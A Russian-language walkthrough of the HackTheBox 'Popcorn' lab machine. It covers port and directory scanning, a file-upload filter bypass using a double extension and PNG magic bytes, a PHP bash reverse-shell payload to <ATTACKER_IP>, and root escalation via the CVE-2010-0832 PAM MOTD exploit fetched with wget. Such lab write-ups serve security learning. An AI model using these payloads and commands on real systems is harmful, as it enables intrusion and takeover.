
Разбор Popcorn HTB, охватывающий продвинутый фаззинг директорий, обход загрузки файлов с помощью магических чисел/подмены расширения с использованием Burp Suite, и повышение привилегий через CVE-2010-0832 (взлом файла PAM MOTD).
Дата: 05 июня 2026
Сложность: Лёгкая
Платформа: HackTheBox
Ключевые техники: Сканирование портов и сервисов, фаззинг каталогов (Gobuster), обход фильтров загрузки файлов, манипуляция HTTP-запросами (Burp Suite), удалённое выполнение кода (RCE), продвинутая стабилизация TTY-оболочки (Python), локальная эксплуатация ядра/PAM (подмена файлов MOTD).
Начинаем с быстрого TCP-сканирования всех 65 535 портов (-p-) для поиска открытых точек входа. Оптимизируем скорость выполнения с помощью --min-rate 5000, отключаем разрешение DNS и ping-проверки для ускорения процесса в среде аудита:
nmap -Pn -n -sS -p- --open --min-rate 5000 <VICTIM_IP>
Первоначальное сканирование надёжно обнаруживает два открытых порта: порт 22 (SSH) и порт 80 (HTTP).
Затем выполняем целенаправленное углублённое сканирование на обнаруженных портах для определения точных версий сервисов и запуска стандартных и базовых скриптов уязвимостей Nmap:
nmap -sCV -p22,80 --script="safe and vuln" <VICTIM_IP>
Из вывода извлекаем критическую информацию о целевой системе:
OpenSSH 5.1 Debian 6ubuntu2 (Указывает на значительно устаревший дистрибутив Ubuntu Linux).Apache httpd 2.2.12Перед взаимодействием с веб-приложением через браузер добавляем IP-адрес цели в файл /etc/hosts атакующей машины, чтобы упорядочить сопоставление доменов и гарантировать корректное разрешение внутренних перенаправлений:
<VICTIM_IP> popcorn.htb
Затем запускаем автоматическое обнаружение скрытых каталогов с помощью gobuster и классического среднего списка слов DirBuster:
gobuster dir -u [http://popcorn.htb/](http://popcorn.htb/) -w /usr/share/wordlists/dirbuster/directory-lists-2.3-medium.txt
Фаза фаззинга обнаруживает следующие доступные пути на веб-сервере жертвы:
/index (Стандартная индексная страница)./test (Тестовая панель или файл с информацией о разработке)./torrent (Полнофункциональная веб-платформа для хостинга и обмена торрент-файлами)./response (Внутренняя страница ответов).Исследование каталога /torrent обнаруживает CMS для обмена торрентами. Для взаимодействия с функциями загрузки мы регистрируемся и входим в учётную запись, созданную на месте. После публикации легитимного .torrent-файла платформа предоставляет возможность редактировать детали торрента и загружать рекламное изображение скриншота. Эта конкретная форма становится нашим основным вектором атаки.
Для достижения удалённого выполнения кода (RCE) мы проходим через несколько этапов тестирования, анализируя поведение бэкенда с помощью Burp Suite (Repeater):
Перехватываем запрос на загрузку скриншота и изменяем имя файла на exploit.php. Пытаемся вставить классический однострочный веб-шелл в тело файла:
<?php system($_GET['cmd']) ?>
Результат: Веб-сервер возвращает внутреннюю ошибку выполнения из-за отсутствующей точки с запятой ; в конце инструкции PHP, что нарушает поток выполнения.
Исправляем синтаксис на <?php system($_GET['cmd']); ?>, но поскольку запрос отправляется методом POST (с использованием multipart/form-data), мы пытаемся передать команду напрямую в URL заголовка (POST /torrent/upload_file.php?cmd=whoami).
Результат: Веб-сервер выдаёт следующую ошибку:
Cannot execute a blank command
Анализ: Во время обработки загрузки файла бэкенд полностью игнорирует GET-переменные, присутствующие в URL. Скрипт upload_file.php записывает файл на диск, но немедленно пытается выполнить внутреннюю функцию. Поскольку он ничего не получает в ожидаемых переменных тела, $_GET['cmd'] обрабатывается как пустое значение.
Чтобы обойти базовые фильтры проверки расширений, которые определяют, является ли файл допустимым изображением, переименовываем файл в innocent.php.png и жёстко прописываем полезную нагрузку обратного шелла, чтобы он не зависел от внешних параметров:
Content-Disposition: form-data; name="file"; filename="innocent.php.png"
Content-Type: image/png
PNG
<?php system("bash -c 'bash -i >& /dev/tcp/<ATTACKER_IP>/4444 0>&1'"); ?>
Результат: Сервер отвечает успешным 200 OK со следующим сообщением:
Upload: innocent.php.png<br />Type: image/png<br />Upload Completed.
Анализ: Хотя это позволило обойти начальный фильтр, поскольку файл строго заканчивался расширением .png, сервер Apache обработал его как обычное статическое изображение. При переходе по ссылке браузер просто выводит необработанные байты как обычный текст; Apache не передаёт файл интерпретатору PHP, что означает, что наш слушатель Netcat так и не получает соединение.
Зная, что серверу необходимо обработать расширение .php для запуска выполнения кода, мы меняем порядок расширений (innocent.png.php), сохраняем заголовок Content-Type: image/png и добавляем сигнатуру PNG или магические числа (PNG) в начало тела файла, чтобы обмануть проверки содержимого бэкенда:
POST /torrent/upload_file.php HTTP/1.1
Host: popcorn.htb
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryaBXxWz7L0ZMSUoc1
------WebKitFormBoundaryaBXxWz7L0ZMSUoc1
Content-Disposition: form-data; name="file"; filename="innocent.png.php"
Content-Type: image/png
PNG
<?php system("bash -c 'bash -i >& /dev/tcp/<ATTACKER_IP>/4444 0>&1'"); ?>
------WebKitFormBoundaryaBXxWz7L0ZMSUoc1--
Результат: Веб-сервер чисто принимает файл, обрабатывает конечное расширение и сохраняет его в каталоге загрузок под именем innocent.php:
HTTP/1.1 200 OK
...
Upload: innocent.php<br />Type: image/png<br />Size: 0.2255859375 Kb<br />Upload Completed.
Поскольку скрипт загрузки только сохраняет файл на диск без его выполнения в контексте POST-запроса на загрузку, мы запускаем отдельный вызов, чтобы заставить сервер прочитать его:
nc -lvnp 4444
GET-запрос в Burp):[http://popcorn.htb/torrent/upload/innocent.php](http://popcorn.htb/torrent/upload/innocent.php)
Сервер Apache вынужден обработать файл, обнаруживает PHP-теги, выполняет Bash-полезную нагрузку, и соединение успешно принимается на нашем слушателе, предоставляя начальный доступ от имени пользователя www-data.
Попытка повышения привилегий сразу после получения шелла выявляет серьёзные ограничения среды:
www-data@popcorn:/$ su root
su: must be run from a terminal
Команда su строго требует реальный интерактивный терминал (TTY) для безопасного ввода. Попытка принудительно получить его через python3 показывает, что он не установлен на этой устаревшей системе (The program 'python3' is currently not installed).
Мы обходим это препятствие, используя классический бинарник Python (Python 2), присутствующий на машине, и перенастраивая дескрипторы терминала атакующей машины:
# 1. Запускаем интерактивную оболочку, используя абсолютный путь к старому Python
/usr/bin/python -c 'import pty; pty.spawn("/bin/bash")'
# 2. Приостанавливаем процесс оболочки на фоне
Ctrl + Z
# 3. На терминале атакующего устанавливаем состояние клавиатуры в raw и выводим слушатель Netcat на передний план
stty raw -echo; fg
# 4. Принудительно обновляем экран и устанавливаем переменные окружения терминала для поддержки истории и автодополнения
reset xterm
export TERM=xterm
export SHELL=bash
Проверяем версию дистрибутива ОС и ядра Linux на машине жертвы:
www-data@popcorn:/$ uname -a
Linux popcorn 2.6.31-14-generic #48-Ubuntu SMP Fri Oct 16 14:05:01 UTC 2009 i686 GNU/Linux
www-data@popcorn:/$ cat /etc/issue
Ubuntu 9.10 \n \l
Операционная система указывает на старый выпуск Ubuntu (Karmic Koala), ядро и основные пакеты которого содержат несколько известных локальных уязвимостей для повышения привилегий.
Мы идентифицируем высоковероятный вектор, связанный с разбором сообщения дня PAM (Linux PAM 1.1.0 - Подмена файлов MOTD для повышения привилегий, отслеживается как CVE-2010-0832). Эта уязвимость позволяет локальным пользователям манипулировать файлами, принадлежащими root, через небезопасную обработку симлинков во время локальной SSH-аутентификации.
Используем публичный эксплойт 14339.sh для автоматизации пути атаки.
searchsploit -m linux/local/14339.sh
python3 -m http.server 80
/tmp (который предоставляет глобальные права чтения/записи/выполнения), загружаем скрипт и делаем его исполняемым:cd /tmp
wget http://<ATTACKER_IP>/14339.sh -O motd.sh
chmod +x motd.sh
./motd.sh
[*] Ubuntu PAM MOTD local root
[*] SSH key set up
[*] spawn ssh
[+] owned: /etc/passwd
[*] spawn ssh
[+] owned: /etc/shadow
[*] SSH key removed
[+] Success! Use password toor to get root
Скрипт успешно завершает выполнение, напрямую изменяя локальную базу пользователей в /etc/passwd.
Из-за внутренней работы эксплойта он не изменяет пароль исходной учётной записи root. Вместо этого он вставляет новую клонированную учётную запись с привилегиями root в конец файла /etc/passwd.
Проверяем это, прочитав последнюю строку файла пользователей:
www-data@popcorn:/tmp$ tail -n 1 /etc/passwd
toor:x:0:0:root:/root:/bin/bash
Примечание: Конфигурация 0:0 (UID/GID) предоставляет этой учётной записи параметры идентичности, идентичные администратору root.
Хотя выполнение su root с паролем toor выводит ошибку Authentication failure, исходная учётная запись root остаётся нетронутой, наша стабилизированная Python TTY-оболочка позволяет плавно переключать пользователей, нацеливаясь на пользовательский клон:
www-data@popcorn:/tmp$ su toor
Password: toor
Вводим пароль (toor), и наш терминал мгновенно меняет приглашение на символ высшего уровня (#):
root@popcorn:/tmp# whoami
toor
root@popcorn:/tmp# id
uid=0(root) gid=0(root) groups=0(root)
Целевая машина полностью скомпрометирована. Теперь у нас есть административный доступ для получения требуемых хэшей флагов:
/home/george/user.txt/root/root.txt